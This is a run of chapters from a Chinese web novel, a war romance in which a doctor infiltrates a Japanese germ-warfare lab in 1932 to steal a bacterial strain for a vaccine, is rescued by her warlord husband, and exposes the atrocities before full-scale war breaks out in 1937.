第一批共五十支名为“清毒一号”的针剂,被紧急送到了这里。
陆淮锦闻讯赶来,他隔着玻璃窗,看着里面的医生护士正在紧张地给那些垂危的战士注射。
“一定要有用……一定要有用……”
这位在战场上**不眨眼的铁汉,此刻紧张得把手里的军帽都捏变形了。
半个小时后。
奇迹发生了。
那个原本已经呼吸衰竭、被下了病危通知书的连长,急促的呼吸慢慢平稳了下来。监护仪上的体温读数,也从吓人的41度,开始缓慢回落。
“醒了!连长醒了!”
护士惊喜的喊声传遍了整个营地。
“得救了!有救了!”
欢呼声瞬间爆发,甚至盖过了远处的炮火声。
陆淮锦推开门冲进去,看到那个连长虽然虚弱,但
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已经能睁开眼睛叫“司令”了。
他激动得热泪盈眶,转身就要去找沈晚清。
然而,当他冲进化验室时,看到的却是沈晚清晕倒在亨利怀里的场景。
“晚晚!”
陆淮锦魂飞魄散,一个箭步冲过去,一把推开亨利,将妻子抱进怀里。
“她怎么了?!啊?!”他冲着亨利咆哮。
“别……别慌……我只是……太困了……”
怀里的人虚弱地睁开眼,声音轻得像蚊子哼哼。
沈晚清看着陆淮锦焦急的脸,伸手摸了摸他的胡茬:
“药……有效吗?”
“有效!神效!”陆淮锦紧紧抱着她,声音哽咽,“弟兄们都救回来了!晚晚,你立了大功了!”
沈晚清笑了。
她安心地闭上眼,在丈夫怀里沉沉睡去。
她太累了。
……
深夜,化验室。
沈晚清睡了一觉醒来,精神恢复了不少。
她看到亨利正坐在显微镜前,神色凝重,并没有胜利后的喜悦。
“怎么了?”沈晚清披着衣服走过去,“药剂出问题了?”
“药剂没问题,可以救急。”
亨利抬起头,摘下眼镜,揉了揉眉心,“但是沈,有一个坏消息。”
“我刚才对那个连长的血液进行了复查。虽然‘清毒一号’压制住了毒素和细菌的活性,但并没有完全杀死它们。”
“这种细菌……似乎是被人工改造过的。”
亨利指着显微镜下的样本,“它们很狡猾,正在适应我们的药物。一旦产生耐药性,‘清毒一号’就会失效。到时候,就是更大规模的反扑。”
沈晚清的心猛地一沉。
“那怎么办?”
“我们需要疫苗。”亨利严肃地说道,“或者是针对这种变异细菌的特异性噬菌体。”
“但要制造这些,光靠伤员身上的二手样本是不行的。那些样本已经被自身免疫系统污染了。”
亨利盯着沈晚清的眼睛,一字一顿地说道:
“我们需要母株。”
“也就是日本人实验室里,最原始、最纯净的那个细菌样本。”
“只有拿到它,我们才能彻底破解这个生化魔咒,研制出终极解药。”
沈晚清沉默了。
原始样本。
那意味着,它一定被锁在日军防守最严密、最危险的核心区域。
她转头看向窗外漆黑的夜色,那是日军占领区的方向。
“母株……”
沈晚清喃喃自语,眼中闪过一丝决绝的光芒。
“既然他们不送来,那我们就去取。”
第150章 深入敌后
“不行!绝对不行!”
陆淮锦一巴掌拍在桌子上,震得地图都跳了起来。他像一头被激怒的狮子,在狭小的防空洞里来回暴走:
“沈晚清,你是不是疯了?那是日军的后方大本营!是他们细菌部队的老巢!你一个女人,还要不要命了?!”
“我不去,谁去?”
沈晚清站在他对面,正在往脸上涂抹一种特制的药水,原本白皙细腻的皮肤瞬间变得蜡黄粗糙。
“亨利是白人,太显眼。其他的军医连显微镜都用不利索,根本分不清什么是普通样本,什么是变异母株。”
她转过身,看着暴怒的丈夫,语气平静得像是在说今天晚饭吃什么:
“淮锦,隔离区的伤员已经**两百多个了。如果不拿到母株研制疫苗,就算你守住了长城,身后的几十万百姓和军队也会被瘟疫杀光。”
“那也不能你去!”陆淮锦一把抓住她的手腕,眼睛红得吓人,“我派特战队去!让他们去抢!去炸!”
“他们懂医吗?他们知道那个需要在零下四度保存的蓝色试管长什么样吗?”
沈晚清反问,随后轻轻挣脱了他的手,捧起他的脸:
“淮锦,这不仅仅是救人,这也是在救你。我不想看你守着一座死城。”
“放心,我懂日语,我会易容。我有把握。”
陆淮锦看着她那双决绝的眼睛,喉咙像是被堵住了一样。
良久。
他从腰间解下那把跟随他多年的勃朗宁,咔哒一声上膛,塞进她的手里。
“这把枪留给你。”
陆淮锦的声音沙哑,带着一丝颤抖的狠厉,“宋虎重伤去不了。我把‘影子小队’最厉害的三个暗卫给你。他们在暗处,听你指挥。”
“晚晚,答应我。”
他死死地盯着她,“一定要活着回来。否则,我就拉着整个关东军给你陪葬。”
……
承德,关东军防疫给水部。
十二月十三日,下午。
承德城内戒备森严,大街上到处是巡逻的日军宪兵和狼狗。
一辆挂着“满铁医院”旗帜的黑色轿车,缓缓驶入了位于城北的一座封闭式大院。
车上坐着一个身穿和服、梳着日式发髻、戴着眼镜的中年“日本女医生”。她面容严肃,怀里抱着一个急救箱。
这正是易容后的沈晚清。
她的新身份,是从一名被俘的日军军医口中审出来的——田中惠子,一位即将从长春调来视察的细菌学专家。
“停车!检查证件!”
门口的日军哨兵拦下了车。
沈晚清摇下车窗,一脸傲慢地甩出一本证件,用流利的京都口音日语呵斥道:
“我是松井司令官请来的专家!耽误了伤员的救治,你们担待得起吗?”
哨兵接过证件看了一眼,又看了看车内只有她和一个“助手”,并没有发现异常。加上她那股子颐指气使的劲头,确实像极了那些本土来的大人物。
“哈依!请进!”
哨兵立刻立正放行。
轿车驶入大院。
沈晚清透过车窗,看到院子里立着几根高耸的烟囱,空气中弥漫着一股熟悉的、令人作呕的**和焚烧尸体的味道。
就是这里。
那个人间地狱。
……
主楼,地下二层实验室。
晚七点。
沈晚清以“检查实验数据”为由,在一名日军少佐的陪同下,进入了核心区域。
这里比她想象的还要恐怖。
走廊两侧的玻璃房里,关押着许多被称作“原木”的中国平民和战俘。他们有的被绑在手术台上进行活体解剖,有的被注入了不同颜色的毒液,正在痛苦地抽搐。
沈晚清的手在袖子里死死攥成拳头,指甲刺破了掌心。
她必须拼尽全力控制自己的表情,才能不露出一丝杀意和悲愤。
“田中阁下,这就是我们最新的成果。”
日军少佐指着前方的一扇厚重的铁门,“‘特种变异株’的母本就在里面的冷库里。这种细菌非常完美,他们的身体根本扛不住。”
沈晚清推了推眼镜,冷冷地说道,“我要亲自提取样本,带回长春做进一步改良。打开门。”
“这……”少佐犹豫了一下,“按照规定,需要佐藤大佐的亲笔手令……”
“佐藤大佐现在正在前线指挥作战!等他回来,这些样本如果因为温度变化失活了,这个责任你来负吗?”
沈晚清厉声质问,气势逼人。
少佐被她的气场震慑住了,加上“田中惠子”的级别确实比他高。
“哈依!我这就为您打开!”
少佐掏出钥匙和密码卡,在一阵复杂的机械转动声后,厚重的铁门缓缓打开。
一股白色的冷气扑面而来。
冷库里,一排排架子上摆满了不同颜色的试管。
沈晚清的心跳瞬间加速。她快步走
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进去,目光飞速扫过架子上的标签。
鼠疫……霍乱……炭疽……
终于,在最里面的一个恒温柜里,她看到了那个红色的标签——【TX-731变异株·母本】。
就是它!
沈晚清深吸一口气,戴上手套,小心翼翼地取出那支蓝色的试管,放入随身携带的低温保存盒中。
“田中阁下,您只需要这一支吗?”少佐站在门口问道。
“足够了。”
沈晚清合上箱子,转身向门口走去,“这种危险品,带多了反而不安全。”
一切顺利得不可思议。
然而,就在她即将走出铁门的那一刻。
“等等。”
一个阴冷的声音突然从走廊尽头传来。
沈晚清的脚步一顿,后背瞬间渗出一层冷汗。
只见一个穿着白大褂、留着小胡子的男人带着一队宪兵走了过来。他的目光像毒蛇一样,死死地盯着沈晚清的脸。
“你是田中惠子?”
男人冷笑一声,用日语说道,“真不巧,我半年前在东京医学研讨会上,刚刚见过田中女士。”
“她是个左撇子,而且……”
男人指了指沈晚清用来提箱子的右手:
“她的身高只有一米五,而你,至少有一米六五。”
暴露了!
“抓住她!!”男人猛地挥手。
“动手!”
沈晚清在这一瞬间,眼神骤变。她不再伪装,猛地将手中的急救箱甩给身后的暗卫。
“砰!砰!”
几乎是同时,一直跟在她身后的“助手”拔出了消音**,两枪精准地爆掉了那名少佐和最前面宪兵的头。
“夫人快走!”
暗卫大吼一声,一脚踹翻了旁边的实验架,无数玻璃瓶碎裂,腐蚀性液体四溅,阻挡了日军的视线。
“八嘎!封锁大门!别让她跑了!”
刺耳的警报声瞬间响彻整个大院。
沈晚清抓起样本箱,一把扯掉碍事的和服下摆,露出了里面的贴身劲装。她从腰间拔出陆淮锦给她的勃朗宁,对着冲上来的日军就是两枪。
“轰——”
早已埋伏在通风管道里的另外两名暗卫引爆了定时**。
剧烈的**炸塌了半条走廊,烟尘滚滚。
“走!”
沈晚清趁乱冲进了弥漫的烟雾中。
样本拿到了。
但真正的生死考验,现在才刚刚开始。
第151章 生死时速
“轰——!”
一辆满身弹孔的日军军用卡车,像一头咆哮的钢铁野兽,撞开了细菌部队大院的最后一道铁丝网,冲上了漆黑的盘山公路。
车厢里,沈晚清死死抱着那个银色的低温保存箱,身体随着车辆的剧烈颠簸而摇晃。
“夫人!坐稳了!”
负责开车的暗卫“影一”满脸是血,一只眼睛已经被弹片划瞎,却依然死死把着方向盘,将油门踩到了底。
后视镜里,刺眼的车灯如同无数双恶狼的眼睛。
十几辆日军偏三轮摩托车架着**,紧咬不放。更远处,两辆装甲运兵车正在疯狂加速。
“哒哒哒哒——”
密集的**打在卡车后挡板上,火星四溅。
“噗!”
后车厢的一名暗卫闷哼一声,胸口中弹,但他没有任何停顿,咬着牙拉开一枚**,对着后面追得最近的一辆摩托车扔了过去。
“轰!”
火光冲天,那辆摩托车被炸得侧翻,连带着撞翻了后面的一辆。
但日军太多了,像一群甩不掉的疯狗。
“那个女人手里有我们要的母株!一定要抓活的!其他人格杀勿论!”
后面的扩音器里,传来那个日军军医气急败坏的吼声。
……
五分钟后,山路急转弯。
“砰!”
一声巨响,卡车的左后轮被打爆。
巨大的惯性让卡车差点冲出悬崖,影一拼尽全力猛打方向盘,车身在雪地上横移了十几米,重重地撞在山壁上,熄火了。
“车毁了!快走!”
影一推开车门,一把将沈晚清拉了下来。
此时,车上的三名暗卫只剩下两个,另一个已经在刚才的交火中牺牲了。
“往林子里跑!翻过这座山就是长城防线!”
影一指着路边茂密的松树林,大声吼道。
“想跑?给我搜!”
日军的车队追了上来,刺眼的探照灯将雪地照得亮如白昼。数十名日军跳下车,端着刺刀,牵着狼狗,呈扇形向树林包围过来。
“汪!汪!汪!”
狼狗的狂吠声让人心惊肉跳。
“夫人,您先走。”
剩下的那名暗卫突然停下脚步。他看了一眼越来越近的日军,又看了一眼沈晚清怀里的箱子,眼神决绝。
“影二,你干什么?!”沈晚清急道。
“鬼子有狗,跑不过他们的。”
影二惨然一笑,从腰间解下所有的**,捆在自己身上。
“属下的命不值钱,但您怀里的东西,能救几十万兄弟的命。”
“夫人,一定要把药带回去!”
说完,他头也不回地转身,大吼一声,主动冲向了那群日军。
“小鬼子!你爷爷在此!”
“砰!砰!”
几声枪响,影二身中数弹,但他硬是撑着最后一口气,冲进了日军的人堆里,猛地拉响了**。
“轰——!!!”
剧烈的**在雪林中腾起一团血雾,将冲在最前面的七八个鬼子和两条狼狗瞬间炸飞。
沈晚清的眼泪夺眶而出。
她没有回头,也没有停下。她知道,这哪怕一秒钟的时间,都是用命换来的。
她咬着牙,在没过膝盖的雪地里深一脚浅一脚地狂奔。寒风像刀子一样割着她的脸,肺部像是要炸裂一样剧痛,但她死死抱着那个箱子,不敢有一丝松懈。
……
二十分钟后,雪山深处。
“呼……呼……”
沈晚清感觉自己的双腿已经失去了知觉。
一直护着她的影一,此时也已经到了极限。他的腹部中了一枪,鲜血在雪地上拖出一条长长的红线。
“夫人……前面……前面是断崖……”
影一靠在一棵大树上,身体缓缓滑落,大口大口地吐着血沫,“属下……属下走不动了……”
沈晚清停下脚步。
前方,是一道深不见底的峡谷。而在峡谷对面,隐约能看到长城的烽火台。
只有几公里的距离。
但这几公里,却是生与死的鸿沟。
身后,嘈杂的脚步声和日语叫骂声再次逼近。日军的搜索队虽然被炸了一波,但很快又围了上来。
“影一,坚持住!”
沈晚清想要去扶他。
“别管我……”
影一推开她的手,把手里仅剩的一把**塞进她怀里,眼神渐渐涣散,却依然死死盯着后方:
“大帅……大帅在前面等你……”
“夫人,快走……”
就在这时,几束手电光射了过来。
“在那边!看到了!”
“砰!”
一颗**击中了影一的眉心。
这位陆家军最精锐的暗卫,连最后一声道别都没来得及说,便倒在了血泊中。
沈晚清浑身僵硬。
她看着倒在雪地里的影一,看着远处那群像恶鬼一样扑上来的日军。
只剩下她一个人了。
恐惧吗?
当然恐惧。
但比恐惧更强烈的,是刻骨的恨意。
沈晚清深吸一口气,擦干脸上的泪水和血迹。她将那个珍贵的样本箱背在背上,用皮带死死勒紧。
然后,她举起那把陆淮锦留给她的勃朗宁,转身跑向了断崖边。
……
断崖之上。
风雪呼啸,如泣如诉
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沈晚清站在悬崖边缘,身后是万丈深渊,脚下是滚落的碎石。
“跑啊?怎么不跑了?”
那个日军军医带着十几名宪兵追了上来,将她团团围住。他气喘吁吁,脸上带着猫捉老鼠的戏谑:
“田中……哦不,沈女士。”
“你真的很了不起。竟然能从我的实验室偷走东西,还杀了我也这么多人。”
军医向前一步,伸出手,贪婪地盯着她背后的箱子:
“把箱子给我。我可以考虑留你一个全尸。”
沈晚清冷冷地看着他,嘴角勾起一抹凄厉的冷笑。
她慢慢后退,直到半只脚掌悬空。
“想要?”
她解下背上的箱子,单手提着,悬在悬崖外。
“你敢再往前一步,我就把它扔下去。”
“别!”
日军军医脸色大变,立刻停住脚步,“别冲动!那个玻璃很脆弱!摔下去就没了!”
那是他们耗费数年心血才培育出的完美毒株,如果毁了,这个损失他承担不起。
“退后。”
沈晚清厉声喝道,手中的枪指着军医的脑袋。
“好,好,我退后。”
军医举起双手,示意手下后退,但他眼底却闪过一丝阴狠,悄悄给旁边的狙击手打了个手势。
风更大了。
沈晚清感到一阵眩晕。失血、极寒、加上体力的透支,她的视线开始模糊。
她知道,自己撑不了多久了。
淮锦……
对不起。
我可能……回不去了。
沈晚清看了一眼远处那座隐没在风雪中的烽火台,眼中闪过一丝眷恋。
就在那名日军狙击手悄悄抬起枪口,准备射击沈晚清的手臂时。
突然。
“嗖——!”
一支利箭,带着撕裂空气的啸声,从对面的山梁上飞射而来。
“噗嗤!”
那名刚要扣动**的日军狙击手,连惨叫都没发出,就被这一箭直接贯穿了喉咙,死尸栽倒在地。
“什么人?!”
日军大惊失色,纷纷调转枪口。
紧接着。
一阵急促而震撼的马蹄声,如同闷雷般从侧面的山林中滚滚而来。
“谁敢动我夫人!!!”
一声暴怒的嘶吼,夹杂着滔天的杀气,震得树上的积雪簌簌落下。
沈晚清猛地抬头。
只见风雪尽头,一匹黑色的战马如同一道黑色的闪电,飞跃而出。
马背上的男人,身披血红色的战袍,手里挥舞着那把令敌人闻风丧胆的鬼头大刀,宛如从地狱杀回人间的修罗。
陆淮锦。
他来了。
第152章 接应
“杀!!!”
这一声怒吼,仿佛来自九幽地狱,震得悬崖上的积雪都在崩塌。
随着第一支利箭射穿日军狙击手的喉咙,陆淮锦一马当先,从侧翼的山林中冲杀而出。在他身后,是一百名清一色背着大刀、骑着快马的敢死队员。
他们没有开枪,因为怕误伤悬崖边的沈晚清。他们选择了最原始、也是最血腥的方式——马刀冲锋。
“八嘎!反击!射击!”
那个日军军医吓得魂飞魄散,刚才还不可一世的嚣张气焰瞬间烟消云散。他一边尖叫着指挥宪兵开火,一边慌乱地往人堆里缩。
“砰!砰!砰!”
日军仓促开火,几名冲在前面的敢死队员中弹**,但后面的骑兵连眼睛都没眨一下,直接踩着战友的尸体,如同一股黑色的钢铁洪流,瞬间撞入了日军的阵型。
“噗嗤!”
借着战马的冲击力,陆淮锦手中的鬼头大刀在空中划出一道凄厉的寒光。
一名试图阻拦他的日军宪兵,连人带枪被直接劈成了两半,鲜血溅了陆淮锦一身,将他那张原本就充满杀气的脸染得更加狰狞。
“挡我者死!!”
陆淮锦看都没看那个**一眼,双腿猛夹马腹,战马嘶鸣一声,高高跃起,直接跨过了两名日军的头顶,稳稳地落在了沈晚清面前。
“淮锦……”
沈晚清看着这个如同天神下凡般的男人,紧绷的神经终于断了弦。她身子一软,整个人向着悬崖外倒去。
“晚晚!”
陆淮锦瞳孔骤缩。
他在千钧一发之际,猛地从马背上探出身子,猿臂轻舒,一把抓住了沈晚清的手腕。
强大的惯性差点将他也带下马去,但他死死地扣住马鞍,大臂青筋暴起,一声低吼:
“给我上来!”
他猛地用力,将沈晚清那轻盈得让人心疼的身体凌空提起,一把揽入怀中,紧紧护在胸前。
那熟悉的烟草味混合着血腥味扑面而来,沈晚清靠在他坚实的胸膛上,眼泪无声地滑落。
“样本……在箱子里……”
她虚弱地举起手里一直死死抓着的银色箱子,声音微弱得几乎听不见,“别碎了……”
“都什么时候了还管箱子!”
陆淮锦气得想骂人,却又心疼得想哭。他一把夺过箱子挂在马鞍上,随后解下自己的红色战袍,将她裹得严严实实。
“抱紧我!闭上眼!”
安顿好沈晚清,陆淮锦缓缓转过头。
那双布满血丝的眼睛,死死锁定了不远处正试图趁乱逃跑的日军军医。
“想跑?”
陆淮锦冷笑一声,那是死神的微笑。
他策马调头,手中的大刀还在滴血。
“你……你别过来!”
日军军医被陆淮锦的眼神吓得腿都软了,手里的**哆哆嗦嗦地指着陆淮锦,“我是大日本帝国的军医!我是受国际法保护的!你不能杀我!”
“军医?”
陆淮锦像是听到了什么天大的笑话。
“研究细菌害人,拿活人做实验,你也配叫医生?!”
“既然你喜欢细菌,那就下地狱去跟阎王爷解释吧!”
话音未落,战马已至。
“啊——!”
日军军医发出一声绝望的惨叫。
陆淮锦手起刀落。
那一刀,带着雷霆万钧之势,直接将那名军医连同他举起的手臂,斜斜地劈开。
鲜血喷涌而出,染红了洁白的雪地。
“清理战场!一个不留!”
陆淮锦收刀入鞘,看都不看地上的尸体一眼,对着身后的敢死队下令。
“是!”
剩下的几十名日军宪兵在敢死队的围剿下,很快便成了刀下亡魂。对于这群制造生化武器的恶魔,陆家军没有一丝怜悯,甚至不屑于留俘虏。
……
返程途中。
风雪依旧,但此刻的风雪似乎不再那么刺骨。
陆淮锦单手控缰,另一只手紧紧搂着怀里的沈晚清,让她的脸贴在自己温热的胸口。
“冷不冷?”他低头问道,声音温柔得与刚才那个杀神判若两人。
沈晚清已经半昏迷了,只是本能地往他怀里缩了缩,喃喃自语:
“影一……影二……他们……”
“我知道。”
陆淮锦的喉结滚动了一下,眼底闪过一丝沉痛,“他们是好样的。陆家军会世世代代供奉他们的牌位。团圆以后也会记得,是这两位叔叔救了他娘。”
“睡吧,晚晚。睡一觉就到家了。”
他策马加速,在雪原上留下一串急促的蹄印。
远处,日军大部队的车灯已经出现在山脚下,但他们来晚了。
陆淮锦带着他的爱人和那个能拯救万千生命的箱子,消失在了茫茫风雪之中,正如他来时一样,如风,如电,不可阻挡。
……
三屯营野战医院。
次日清晨。
当第一缕阳光照在营地上时,一阵急促的马蹄声打破了医院的宁静。
“回来了!司令把夫人接回来了!”
一直在门口张望的小护士激动地大喊。
亨利连鞋都没穿好,就从化验室冲了出来。
只见陆淮锦翻身下马,怀里横抱着昏迷不醒的沈晚清。他身上的战袍已经被血冻成了硬壳,但怀里的人却被保护得毫发无损。
“沈!她怎么样了?”亨利焦急地冲上去。
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“体力透支,冻伤,加上胳膊上有枪擦伤。”
陆淮锦简短地说道,眼神里满是焦急,“快安排手术室!”
“好!快!”
几名护士推着担架跑过来。
就在陆淮锦准备把沈晚清放上担架时,他突然想起了什么,从马鞍上解下那个银色的箱子,郑重地递给亨利。
“接着。”
陆淮锦的手在颤抖,不仅是因为冷,更是因为这箱子的分量。
“这是她拿命换回来的。”
“为了这个东西,我的三个兄弟没了,她差点也没了。”
他死死盯着亨利的眼睛:
“亨利,别让她失望。别让我的兄弟白死。”
亨利接过那个冰冷的箱子,感觉有千斤重。他看着箱子上的标签——【TX-731】,又看了看昏迷的沈晚清,眼眶瞬间红了。
他郑重地把箱子抱在怀里,向陆淮锦鞠了一躬:
“司令放心。”
“如果我不把疫苗做出来,我就把自己切片做标本!”
……
化验室内。
随着低温箱被打开,那一支散发着幽幽蓝光的试管,静静地躺在干冰之中。
这就是万恶之源,也是希望之种。
亨利没有丝毫耽搁,立刻组织最精锐的团队,开始了针对细菌母株的破解工作。
与此同时,在隔壁的手术室里。
沈晚清的伤口被处理包扎好,输上了葡萄糖和消炎药。
陆淮锦一直守在床边,握着她冰凉的手,寸步不离。
他看着她苍白的睡颜,看着她手上那些为了攀爬悬崖而磨出的血泡,心疼得无以复加。
这时,宋虎被搀扶着走了进来,手里拿着一份从那个被**的日军军医身上搜出来的文件包。
“司令……”宋虎声音虚弱,但眼神发亮,“这……这是我们在那个鬼子军医身上找到的。您看看。”
陆淮锦接过文件包,打开一看。
里面不仅有那个细菌基地的详细分布图,还有一份名为**《华北地区细菌战投放计划》**的绝密文件,以及几张令人发指的照片——那是日军用中国平民做活体实验的记录。
陆淮锦的手指捏得咯咯作响,眼中的怒火几乎要将这些纸张点燃。
“这群畜生……”
他咬牙切齿地低吼道,“他们不想让人知道?老子偏要让全世界都看看他们的嘴脸!”
陆淮锦猛地站起身,将文件甩给宋虎:
“去!立刻联系所有的报社!国内的、国外的、还有那个什么国联调查团!”
“把这些证据复印一万份,给我撒遍全世界!”
“我要让这帮披着人皮的恶鬼,在阳光下现出原形!”
第153章 揭露罪行
天津,法租界,利顺德大饭店。
民国二十一年(1932年),一月十日,下午两点。
虽然长城一线的炮火暂时停歇,但天津的空气中依然弥漫着紧张的气息。
利顺德大饭店的宴会厅被布置成了一个临时的发布会现场。早在三天前,陆淮锦就以“**北方边防军总司令”的名义,向全球各大通讯社发出了邀请函。
此时,大厅内座无虚席。
来自美国《**》、英国《泰晤士报》、法国《费加罗报》以及国内《大公报》、《申报》的数百名记者架着**短炮,焦急地等待着。
当然,人群中也混杂着神色阴鸷的日本记者,以及便衣打扮的日本特务。但在荷枪实弹的陆家军卫队和法租界巡捕的双重警戒下,他们暂时不敢轻举妄动。
“来了!”
随着镁光灯一阵疯狂闪烁,侧门打开。
陆淮锦身着笔挺的戎装,虽未佩戴勋章,但那一身久经沙场的杀伐之气,瞬间镇住了全场。
在他左侧,是手臂上还缠着绷带、脸色略显苍白却目光坚毅的沈晚清。
在他右侧,则是身穿西装、神情严肃的法国医学专家——亨利·杜邦。
三人落座。
并没有多余的开场白,陆淮锦直接站起身,目光扫视全场,声音沉稳有力:
“诸位记者朋友,陆某今日请大家来,不是为了谈**,也不是为了谈军事。”
“而是为了替成千上万死得不明不白的中**民,讨一个公道。”
“为了揭露一个披着文明外衣,实则行径比野兽还要残忍的——恶魔。”
台下一片哗然。日本记者刚想站起来**,就被陆淮锦凌厉的眼神逼了回去。
“上证据。”
陆淮锦一挥手。
几名卫兵抬上来几块巨大的展板,上面贴满了放大的黑白照片。
“天哪……”“上帝啊……”
当幕布揭开的那一刻,大厅里爆发出一阵惊恐的吸气声。
照片上,是皮肤溃烂流脓的士兵,是满身水泡哭嚎的儿童,是被解剖得支离破碎的“马路大”,以及那一排排标着骷髅头标志的毒气罐。
“这是日军在长城战役中使用的武器。”
亨利站起身,用流利的法语和英语说道。他推了推眼镜,举起手中的一份厚厚的尸检报告:
“我是亨利·杜邦,巴黎医学院博士,也是前线医院的见证者。”
“我以我的职业声誉和人格担保,这些照片上的伤痕,并非普通炮火所致,而是来自于被《日内瓦公约》明令禁止的芥子气,以及一种经过人工基因改造的烈性鼠疫杆菌。”
“这不仅仅是战争,这是**!是灭绝人性的生化实验!”
亨利的话如同重磅**,在记者群中炸响。
闪光灯疯狂闪烁,记者们飞快地记录着每一个字。
“一派胡言!”
一名《朝日新闻》的日本记者终于忍不住跳了起来,指着台上大骂:“这是污蔑!是大日本皇军绝对不会做的事情!这是你们**人伪造的!”
“伪造?”
沈晚清缓缓站起身。
她没有说话,而是当着所有镜头的面,解开了左臂上的绷带,露出了那块至今尚未完全愈合、呈现出诡异紫红色的伤疤——那是她以身试毒留下的铁证。
“这位记者先生,请问,这伤疤也是伪造的吗?”
沈晚清的声音清冷,“如果你不信,我这里还有从你们‘关东军防疫给水部’带出来的原始文件。”
宋虎走上前,将那份沾着血迹的日文绝密计划书复印件分发给前排的欧美记者。
“《华北地区细菌战投放计划》,签署人:石井四郎。”
一名懂日文的英国记者大声念出了标题,随即脸色大变,“这……这是真的!上面还有关东军司令部的关防大印!”
铁证如山。
那个日本记者脸色惨白,张了张嘴,却在周围同行鄙夷和愤怒的目光中,灰溜溜地坐了下去。
陆淮锦重新接过话筒,他的声音低沉而悲怆:
“就在刚才,我们正在这明亮的饭店里开会时,长城脚下的土地还在流血。”
“中国虽然弱,但中国人的骨头不软。”
“我们公布这些,不是为了乞求怜悯,而是为了让全世界看清楚,如果不制止这头疯兽,今天的中国,就是明天的世界!”
陆淮锦对着镜头,郑重地敬了一个军礼:
“正义或许会迟到,但绝不会缺席。”
……
次日,全球震动。
《**》头版头条:《来自东方的噩梦——日军使用细菌武器证据确凿》。《泰晤士报》评论员文章:《文明世界的耻辱》。
**的压力如同海啸般涌向日本。
西方列强
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虽然在**上采取绥靖政策,但面对这种公然违反国际公约、挑战人类底线的行为,也不得不向日本政府发出了严厉的外交照会。
国联调查团宣布将介入调查。
迫于巨大的国际压力,以及担心细菌武器失控反噬自身,日本大本营被迫下令,暂停在华北战场大规模使用生化武器,并将那支臭名昭著的细菌部队暂时撤回了东北深处。
……
天津火车站,专列包厢。
一周后。
陆淮锦放下手中的报纸,长长地舒了一口气。
“赢了。”
他看向坐在对面的沈晚清,眼中满是柔情,“晚晚,咱们赢了这一局。鬼子撤了毒气部队,前线的压力小多了。”
“是啊,赢了。”
沈晚清看着窗外飞逝的景色,脸上却没有太多的喜悦,只有深深的疲惫。
这一局,赢得太惨烈。
是用影一、影二的命,用数万名战士的血换来的。
“淮锦。”
沈晚清轻轻靠在他的肩膀上,“你说,这场仗还要打多久?”
陆淮锦沉默了片刻。
他看着北方阴沉的天空,那是东北的方向,那是已然沦陷的国土。
“不知道。”
他握紧了妻子的手,“也许三年,也许五年,也许更久。”
“日本人这次虽然吃了亏,但他们的野心不会死。他们是在等,等一个更大的机会,等把刀磨得更利。”
“但不管多久。”
陆淮锦眼中闪过一丝坚毅的光芒:
“只要我在,只要陆家军在,这长城,他们就别想轻易跨过去。”
火车鸣笛,驶向茫茫雪原。
这场因为“细菌战”而引发的局部高潮,终于落下帷幕。
然而,所有人都知道,这仅仅是一个开始。
时光如白驹过隙。
转眼间,数年寒暑过去。
从1932年到1937年。
这五年,是暴风雨前最后的宁静。
陆淮锦在长城一线厉兵秣马,修筑工事;沈晚清在后方扩大医学院,储备物资,培养了一批又一批战地医生。
他们像两只辛勤的燕子,在风雨欲来之前,拼命地加固着自己的巢穴,守护着这个多灾多难的国家。
直到那一夜。
卢沟桥畔,一声刺耳的枪响,彻底撕碎了这短暂而脆弱的和平。
全面抗战的号角,吹响了。
第154章 全面抗战
夏夜闷热,蝉鸣声声。
陆淮锦站在地图前,身上的衬衫已经被汗水湿透。这几天,他的右眼皮一直跳个不停。作为一名在沙场上摸爬滚打多年的老兵,他嗅到了一股极其危险的味道——那是暴风雨来临前特有的土腥味。
日军在丰台的演习越来越频繁,甚至多次都是荷枪实弹地逼近宛平城。
“司令,喝口水吧。”
沈晚清端着一杯凉茶走进来。岁月在她的眼角刻下了几道细纹,却让她更显从容与优雅。这五年,她不仅是北城医科大学的校长,更是陆家军后勤保障的定海神针。
“睡不着。”
陆淮锦接过茶,没喝,只是紧紧握在手里,“鬼子这两天太反常了。今晚说是搞夜间演习,但我总觉得……”
“砰!砰!砰!”
话音未落,一阵密集的**突然从西南方向传来,瞬间撕碎了夜的宁静。
紧接着,是沉闷的炮击声。
“报——!!!”
通讯兵跌跌撞撞地冲进指挥部,脸色惨白:
“司令!急电!”
“就在刚刚!日军借口一名士兵失踪,强行要求进入宛平城搜查!被拒绝后,日军向我第29军阵地开炮!宛平城……打起来了!”
陆淮锦手中的茶杯“啪”的一声摔得粉碎。
并没有惊慌,没有愤怒。
他的脸上,竟然浮现出一种等待了太久、终于尘埃落定的释然与决绝。
“终于来了。”
陆淮锦深吸一口气,猛地抓起桌上的武装带系在腰间,眼神瞬间变得锐利如刀:
“传我命令!”
“陆家军全体进入一级战斗状态!”
“这一枪响了,就别指望能停下来!告诉弟兄们,咱们忍了这帮畜生六年,今天,不用再忍了!”
“给我狠狠地打!!”
……
七月十七日,庐山。
《对卢沟桥事件之严正声明》发表。
收音机里,那个带有浓重浙江口音的声音,通过电波传遍了中华大地的每一个角落:
“如果战端一开,那就是地无分南北,年无分老幼,无论何人,皆有守土抗战之责,皆应抱定牺牲一切之决心……”
北平前线,陆家军誓师大会。
烈日当空。
十万陆家军将士整齐列队。他们头戴德式钢盔,手持中正式**,眼神坚定地注视着高台上的总司令。
陆淮锦站在麦克风前,神情庄重。
“弟兄们!听到了吗?”
他指着收音机的方向,声音洪亮:
“中央已经发话了!全面抗战,开始了!”
“咱们以前打仗,是为了抢地盘,是为了当大帅。那时候死得不值!”
“但今天不一样!”
陆淮锦拔出佩刀,直指苍穹:
“从今天起,我们是为了脚下的祖坟,为了身后的爹娘,为了咱们子孙后代不当**奴而战!”
“这一仗,或许会打很久,或许我们都会死。”
“但只要中国还在,只要中华民族还在,我们的魂,就永远立在这长城之上!”
“抗战到底!至死方休!”
“抗战到底!至死方休!!”
十万人的怒吼声汇聚成海,震散了天边的流云。
……
誓师大会后台。
沈晚清正在整理急救箱,突然感到身后有人拉了拉她的衣角。
回头一看,是一个穿着崭新军装、身姿挺拔的少年。
十四岁的陆念清,已经高出了沈晚清半个头。他的眉眼像极了陆淮锦,但那双眼睛里,却有着沈晚清特有的清澈与坚韧。
“娘。”
陆念清敬了一个军礼,动作标准得挑不出毛病,“新编教导团三营九连列兵陆念清,向您报到!”
沈晚清的手微微颤抖了一下。
她看着眼前这个昨天还在向她撒娇要糖吃、今天却已经背上了**的儿子,心中百感交集。
